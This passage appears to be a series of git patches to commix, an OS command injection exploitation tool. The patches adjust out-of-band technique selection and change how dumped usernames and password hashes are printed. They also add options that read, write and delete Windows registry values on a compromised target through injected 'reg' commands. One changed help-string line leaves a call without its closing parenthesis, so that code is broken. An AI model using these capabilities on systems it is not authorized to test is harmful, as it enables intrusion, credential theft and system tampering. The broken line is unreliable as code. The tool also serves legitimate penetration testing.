[**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) sayfasına bakın. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) sayfasına bakın. Bir hedef listesini gözetimsiz taramak ve sonuçları bir dosyaya yazmak için: diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1362490386..4479a8d5c2 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -631,12 +631,17 @@ def sink_boundaries(): """ Whether a technique is one this run is testing. Two separate choices sit behind it: which sink is being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique -runs when its letter was asked for and it reaches the sink in hand, so the two compose - and the -out-of-band technique answers to the letter alone, carrying whichever sink it is given. +runs when its letter was asked for and it reaches the sink in hand, so the two compose. + +Out-of-band is not one of the techniques '--technique' names - 'o' is not even in +settings.AVAILABLE_TECHNIQUES, so a user can never ask for it there. Whether it runs is '--oob' +alone to say, independent of whatever '--technique' was given: '--oob --technique=r' still tries +out-of-band, rather than reading the 'r' as leaving it out. """ def technique_selected(tech_letter, eval_sink=False): - # The out-of-band technique carries whichever sink it is given, so it answers to the letter alone. - if tech_letter != settings.OOB_TECHNIQUE_LETTER and bool(menu.options.eval_sink) != bool(eval_sink): + if tech_letter == settings.OOB_TECHNIQUE_LETTER: + return bool(menu.options.oob) + if bool(menu.options.eval_sink) != bool(eval_sink): return False return len(menu.options.tech) == 0 or tech_letter in menu.options.tech diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 5eef923b6b..23fbe0192d 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -102,7 +102,7 @@ def reach_command(transport, hostname, proof="", separator=OR): On Windows 'nslookup' is always there. Elsewhere it is part of an optional package, so the ones a host is likely to have instead follow it, and 'ping' comes last because it waits for a reply that a -host with no ICMP out will never get. They are chained with the separator being tested, so a sink +host with its echo traffic filtered will never get. They are chained with the separator being tested, so a sink that filters some other operator does not defeat the separator that would have worked; where there is nothing to chain with, only the likeliest command is sent. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 2a301f2531..08a1bbb350 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "196" +REVISION = "197" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e6429efd18c1dd4cbe9afa720d4db623940b93ef Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:41:58 +0300 Subject: [PATCH 0869/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 22 +++++++++++++--------- src/utils/settings.py | 2 +- 2 files changed, 14 insertions(+), 10 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 4479a8d5c2..ead8f23e5e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4548,10 +4548,10 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="users") - table = settings.render_table(["Username"], [[name] for name in sys_users_list]) - settings.print_data_to_stdout(table) - logs.add_line(filename, table, group="users") for name in sys_users_list: + user_line = "[*] '" + name + "'" + settings.print_data_to_stdout(user_line) + logs.add_line(filename, user_line, group="users") logs.report_add_enumeration("users", name) else: no_user_enumeration_permission() @@ -4611,9 +4611,10 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, settings.print_data_to_stdout(raw_line) logs.add_line(filename, " " + raw_line, group="users") if parsed_users: - users_table = settings.render_table(["Username"], [[name] for name, _, _ in parsed_users]) - settings.print_data_to_stdout(users_table) - logs.add_line(filename, users_table, group="users") + for name, _, _ in parsed_users: + user_line = "[*] '" + name + "'" + settings.print_data_to_stdout(user_line) + logs.add_line(filename, user_line, group="users") # Per-user privileges, only when explicitly requested. if menu.options.privileges and parsed_users: @@ -4680,9 +4681,12 @@ def print_passes(sys_passes, filename, newline_first, interpreter): logs.add_line(filename, info_msg, group="passwords") for username, digest in usable: logs.report_add_enumeration("passwords", {"username": username, "hash": digest}) - passwords_table = settings.render_table(["Username", "Hash"], [[username, digest] for username, digest in usable]) - settings.print_data_to_stdout(passwords_table) - logs.add_line(filename, passwords_table, group="passwords") + user_line = "[*] " + username + " [1]:" + hash_line = " password hash: " + digest + settings.print_data_to_stdout(user_line) + settings.print_data_to_stdout(hash_line) + logs.add_line(filename, user_line, group="passwords") + logs.add_line(filename, hash_line, group="passwords") else: warn_msg = "Unable to retrieve the password hashes for the operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 08a1bbb350..e270170153 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "197" +REVISION = "198" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f73c049661fa3f3cbc32acb6cb1259b957c2de67 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:55:34 +0300 Subject: [PATCH 0870/1023] Added new options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type` --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 175 ++++++++++++++++++++++ src/core/controller/handler.py | 5 + src/core/controller/injector.py | 2 +- src/core/controller/registry_access.py | 81 ++++++++++ src/core/main.py | 1 + src/core/modules/shellshock/shellshock.py | 13 +- src/core/parse/cmdline.py | 58 ++++++- src/utils/settings.py | 15 +- 9 files changed, 342 insertions(+), 9 deletions(-) create mode 100644 src/core/controller/registry_access.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 80510f560a..6a45c83aea 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type`. * Added: New tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright. * Added: New tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes. * Added: Support for PowerShell code injection through the `--eval=powershell` language. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index ead8f23e5e..d7a932ffc6 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2647,6 +2647,50 @@ def validate_options(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + reg_actions = (menu.options.reg_read, menu.options.reg_add, menu.options.reg_del) + if sum(bool(_) for _ in reg_actions) > 1: + err_msg = "The options '--reg-read', '--reg-add' and '--reg-del' cannot be used simultaneously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if any(reg_actions) and not menu.options.reg_key: + err_msg = "You must specify the Windows registry key to use (i.e. '--reg-key')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_key and not any(reg_actions): + err_msg = "The option '--reg-key' requires one of '--reg-read', '--reg-add' or '--reg-del'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_read and not menu.options.reg_value: + err_msg = "You must specify the registry value to read (i.e. '--reg-value')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_add and not menu.options.reg_value: + err_msg = "You must specify the registry value to write (i.e. '--reg-value')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_add and menu.options.reg_data is None: + err_msg = "You must specify the registry value's data to write (i.e. '--reg-data')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_data is not None and not menu.options.reg_add: + err_msg = "The option '--reg-data' requires '--reg-add'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if any(reg_actions): + if menu.options.reg_type.upper() not in settings.REG_VALUE_TYPES: + err_msg = "The value for option '--reg-type' must be one of: " + err_msg += ", ".join(settings.REG_VALUE_TYPES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.reg_type = menu.options.reg_type.upper() + """ Checking for all required third-party library dependencies. """ @@ -5133,6 +5177,137 @@ def run_file_access(execute_cmd, filename): if ran: settings.FILE_ACCESS_DONE = True +""" +Build the 'reg query' command for the key/value named with '--reg-key'/'--reg-value'. +""" +def registry_read_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + info_msg = "Fetching the registry value '" + value + "' of the key '" + key + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + cmd = settings.WIN_REG_QUERY + "\"" + key + "\" /v \"" + value + "\"" + return cmd, key, value + +""" +Pick the value's data out of 'reg query' output, which lists it alongside its type on the same line as the value's name. +""" +def registry_read_status(shell, key, value, filename, newline_first=False): + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + denied = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED) + match = re.search(r"^\s*" + re.escape(value) + r"\s+(REG_\S+)\s+(.*?)\s*$", str(shell), re.MULTILINE) if shell else None + if match: + reg_type, data = match.group(1), match.group(2) + label = "Registry value" + settings.print_data_to_stdout(settings.print_retrieved_data(label, data)) + logs.add_line(filename, "Registry '" + key + "\\" + value + "' (" + reg_type + "): " + data, group="registry") + logs.report_add_enumeration("registry", {"key": key, "value": value, "type": reg_type, "data": data}) + elif denied: + warn_msg = "It seems you do not have permission to read the registry key '" + key + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + warn_msg = "Retrieved no data for the registry value '" + value + "' of the key '" + key + "'. " + warn_msg += "This could mean the key/value does not exist, or you do not have permission to read it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Build the 'reg add' command for the key/value/data/type named with '--reg-key'/'--reg-value'/'--reg-data'/'--reg-type'. +""" +def registry_write_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + data = menu.options.reg_data + reg_type = menu.options.reg_type + info_msg = "Attempting to write the registry value '" + value + "' of the key '" + key + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + cmd = settings.WIN_REG_ADD + "\"" + key + "\" /v \"" + value + "\" /t " + reg_type + " /d \"" + data + "\" /f" + return cmd, key, value + +""" +Display the result of an attempted registry write to the remote target. +""" +def registry_write_status(shell, key, value, newline_first=False): + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED): + warn_msg = "It seems you do not have permission to write to the registry key '" + key + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif shell and "operation completed successfully" in str(shell).lower(): + info_msg = "The registry value '" + value + "' has been successfully written to the key '" + key + "'." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "The registry value '" + value + "' does not appear to have been written to the key '" + key + "'. " + warn_msg += "This could mean the write failed, or you do not have permission to write to that key." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Build the 'reg delete' command for the key named with '--reg-key', or the single value named with '--reg-value'. +""" +def registry_delete_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" + info_msg = "Attempting to delete the registry " + target + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + cmd = settings.WIN_REG_DEL + "\"" + key + "\"" + # With no value named, 'reg delete' takes the bare key as the whole key to remove - '/va' would + # only clear its values and leave the key itself standing, which is not what "delete the key" means. + if value: + cmd += " /v \"" + value + "\"" + cmd += " /f" + return cmd, key, value + +""" +Display the result of an attempted registry deletion on the remote target. +""" +def registry_delete_status(shell, key, value, newline_first=False): + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" + if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED): + warn_msg = "It seems you do not have permission to delete the registry " + target + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif shell and "operation completed successfully" in str(shell).lower(): + info_msg = "The registry " + target + " has been successfully deleted." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "The registry " + target + " does not appear to have been deleted. " + warn_msg += "This could mean it does not exist, or you do not have permission to delete it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Run the standard registry-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own registry-access entry point (see shellshock.py). +""" +def run_registry_access(execute_cmd, filename): + ran = False + + if settings.TARGET_OS != settings.OS.WINDOWS and (menu.options.reg_read or menu.options.reg_add or menu.options.reg_del): + warn_msg = "The registry access options only apply to a Windows target, so they are skipped here." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.REGISTRY_ACCESS_DONE = True + return + + if menu.options.reg_add: + ran = True + cmd, key, value = registry_write_cmd() + shell = execute_cmd(cmd) + registry_write_status(shell, key, value) + + if menu.options.reg_read: + ran = True + cmd, key, value = registry_read_cmd() + shell = execute_cmd(cmd) + registry_read_status(shell, key, value, filename) + + if menu.options.reg_del: + ran = True + cmd, key, value = registry_delete_cmd() + shell = execute_cmd(cmd) + registry_delete_status(shell, key, value) + + if ran: + settings.REGISTRY_ACCESS_DONE = True + # Mark which HTTP header the payload is going into. def define_vulnerable_http_header(http_header_name): if http_header_name == settings.USER_AGENT.lower(): diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index bd40c47172..959ea5fb23 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -30,6 +30,7 @@ from src.core.controller import shell_options from src.thirdparty.six.moves import html_parser as _html_parser from src.core.controller import file_access +from src.core.controller import registry_access from src.core.controller import enumeration from src.core.techniques.tempfile_based import tfb_handler @@ -496,6 +497,7 @@ def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, T interpreter = menu.options.interpreter _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) if menu.options.os_cmd: # Run the command given with '--os-cmd', once, whichever technique got there first. def _run_os_cmd(): @@ -699,6 +701,7 @@ def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG): interpreter = menu.options.interpreter _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) if menu.options.os_cmd: def _run_os_cmd(): if settings.OS_CMD_DONE: @@ -1343,6 +1346,7 @@ def _control_answers_on_time(): # Registered here, run once at quit(). _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) if menu.options.os_cmd: # Run the command given with '--os-cmd', once, whichever technique got there first. def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output): @@ -1686,6 +1690,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject # Registered here, run once at quit(). _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) if menu.options.os_cmd: # Run the command given with '--os-cmd', once, whichever technique got there first. def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique): diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index c3f3366ede..d482c7f210 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -63,7 +63,7 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa if settings.TARGET_OS == settings.OS.WINDOWS: cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) - if menu.options.file_write: + if menu.options.file_write or menu.options.reg_read or menu.options.reg_add or menu.options.reg_del: minlen = 0 else: minlen = 1 diff --git a/src/core/controller/registry_access.py b/src/core/controller/registry_access.py new file mode 100644 index 0000000000..c86c94898d --- /dev/null +++ b/src/core/controller/registry_access.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks +from src.core.controller import execution + +""" +Read a Windows registry key value. +""" +def registry_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, key, value = checks.registry_read_cmd() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + shell, fresh = execute_cmd(cmd) + checks.registry_read_status(shell, key, value, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +Write a Windows registry key value. +""" +def registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, key, value = checks.registry_write_cmd() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + shell, fresh = execute_cmd(cmd) + checks.registry_write_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh) + +""" +Delete a Windows registry key, or a single value of it. +""" +def registry_delete(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, key, value = checks.registry_delete_cmd() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + shell, fresh = execute_cmd(cmd) + checks.registry_delete_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + if settings.TARGET_OS != settings.OS.WINDOWS: + warn_msg = "The registry access options only apply to a Windows target, so they are skipped here." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.REGISTRY_ACCESS_DONE = True + return + + if menu.options.reg_add: + registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.REGISTRY_ACCESS_DONE = True + + if menu.options.reg_read: + registry_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.REGISTRY_ACCESS_DONE = True + + if menu.options.reg_del: + registry_delete(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.REGISTRY_ACCESS_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + # Target-wide - run once, on the first successful technique. + if not settings.REGISTRY_ACCESS_DONE and menu.registry_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + +# eof diff --git a/src/core/main.py b/src/core/main.py index 8d69ed1e0a..687790ee5e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -535,6 +535,7 @@ def main(filename, url, http_request_method): # Both are per-target: what was enumerated on one target says nothing about the next, and file # access is already taken back here. Left set, enumeration would run for the first target only. settings.FILE_ACCESS_DONE = False + settings.REGISTRY_ACCESS_DONE = False settings.ENUMERATION_DONE = False if menu.options.alert: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 97d0dc333f..1c45381e24 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -177,7 +177,13 @@ def file_access(url, cve, check_header, filename): checks.run_file_access(_command_executor(url, cve, check_header, filename), filename) """ -Enumeration, file access, --os-cmd, --os-shell - shared by fresh detection and resume. +Registry Access Options +""" +def registry_access(url, cve, check_header, filename): + checks.run_registry_access(_command_executor(url, cve, check_header, filename), filename) + +""" +Enumeration, file access, registry access, --os-cmd, --os-shell - shared by fresh detection and resume. """ def _post_exploitation(url, cve, check_header, filename, technique, no_result): if settings.ENUMERATION_DONE: @@ -190,6 +196,11 @@ def _post_exploitation(url, cve, check_header, filename, technique, no_result): else: file_access(url, cve, check_header, filename) + if settings.REGISTRY_ACCESS_DONE is True: + checks.ask_redo_stored_session("access the registry", lambda: registry_access(url, cve, check_header, filename)) + else: + registry_access(url, cve, check_header, filename) + if menu.options.os_cmd: checks.run_single_os_cmd(_command_executor(url, cve, check_header, filename), filename) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 0ea0086844..b8d3208f6a 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -380,7 +380,7 @@ def banner(): action="store", dest="proxy", default=False, - help="Use a proxy to connect to the target URL.") + help="Use a proxy to connect to the target URL ('(http|https|socks4|socks5)://address:port').") request.add_option("--tor", action="store_true", @@ -702,6 +702,46 @@ def banner(): dest="file_dest", help="Host's absolute filepath to write to.") +# Windows registry access options +registry = OptionGroup(parser, "Registry access", + "These options can be used to access the Windows registry on the target host.") + +registry.add_option("--reg-read", + action="store_true", + dest="reg_read", + help="Read a Windows registry key value.") + +registry.add_option("--reg-add", + action="store_true", + dest="reg_add", + help="Write a Windows registry key value.") + +registry.add_option("--reg-del", + action="store_true", + dest="reg_del", + help="Delete a Windows registry key (value).") + +registry.add_option("--reg-key", + action="store", + dest="reg_key", + help="Windows registry key (e.g. 'HKLM\\Software\\Foo').") + +registry.add_option("--reg-value", + action="store", + dest="reg_value", + help="Windows registry key value name.") + +registry.add_option("--reg-data", + action="store", + dest="reg_data", + help="Windows registry key value data.") + +registry.add_option("--reg-type", + action="store", + dest="reg_type", + default="REG_SZ", + help="Windows registry key value type (Default: 'REG_SZ').") + # Modules options modules = OptionGroup(parser, "Modules", "These options can be used increase the detection and/or injection capabilities.") @@ -775,7 +815,7 @@ def banner(): action="store", default="", dest="tech", - help="Specify injection technique(s) to use.") + help="Specify injection technique(s) to use (Default: 'rbtf').") injection.add_option("--type", action="store", @@ -811,7 +851,7 @@ def banner(): action="store_true", dest="oob", default=False, - help="Use an out-of-band (OAST) channel over HTTP(S).") + help="Test over an out-of-band (OAST) channel (HTTP(S) or DNS, see '--oob-transport').") injection.add_option("--oob-server", action="store", @@ -850,7 +890,7 @@ def banner(): type="int", dest="maxlen", default=settings.MAXLEN, - help="Set the max length of output for the techniques that retrieve it one character at a time (Default: " + str(settings.MAXLEN) + " chars).") + help="Set the max length of character-by-character output (Default: " + str(settings.MAXLEN) + " chars)." injection.add_option("--time-sec", default=0, @@ -875,7 +915,7 @@ def banner(): action="store", dest="interpreter", default = "", - help="Construct detection and exploitation payloads using an alternative interpreter (e.g. 'Python') instead of native OS shell syntax.") + help="Specify an alternative interpreter to build payloads with (e.g. 'Python').") injection.add_option("--os-cmd", action="store", @@ -1092,6 +1132,7 @@ def banner(): parser.add_option_group(request) parser.add_option_group(enumeration) parser.add_option_group(file_access) +parser.add_option_group(registry) parser.add_option_group(modules) parser.add_option_group(optimization) parser.add_option_group(injection) @@ -1456,4 +1497,11 @@ def file_access_options(): if any(v is not None for v in (options.file_write, options.file_read)): return True +""" +Check if registry access options are enabled. +""" +def registry_options(): + if any((options.reg_read, options.reg_add, options.reg_del)): + return True + # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index e270170153..b03b3c65b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "198" +REVISION = "199" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1024,6 +1024,14 @@ def single_whitespace_for(data=None): WIN_REPLACE_WHITESPACE = r"-replace('\s+',' '))" +# Windows registry access +WIN_REG_QUERY = "reg query " +WIN_REG_ADD = "reg add " +WIN_REG_DEL = "reg delete " +REG_ACCESS_DENIED = ["Access is denied", "ERROR: Access is denied", "requires elevation"] +REG_VALUE_NOT_FOUND = "ERROR: The system was unable to find the specified registry key or value." +REG_VALUE_TYPES = ("REG_SZ", "REG_EXPAND_SZ", "REG_DWORD", "REG_QWORD", "REG_BINARY", "REG_MULTI_SZ", "REG_NONE") + # Accepts 'YES','YE','Y','yes','ye','y' CHOICE_YES = ['YES','YE','Y','yes','ye','y'] @@ -1445,6 +1453,9 @@ def ascii_transparent_encoding(name): # FIle access options FILE_ACCESS_DONE = False +# Registry access options +REGISTRY_ACCESS_DONE = False + # Set when '--file-dest' targets the "/tmp/" directory, to switch straight to the tempfile-based technique. CALL_TMP_BASED = False @@ -2623,7 +2634,7 @@ class END_LINE: "RECOGNISE_OS", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", # Counted or noted for the run as a whole. "CRAWLED_SKIPPED_URLS_NUM", 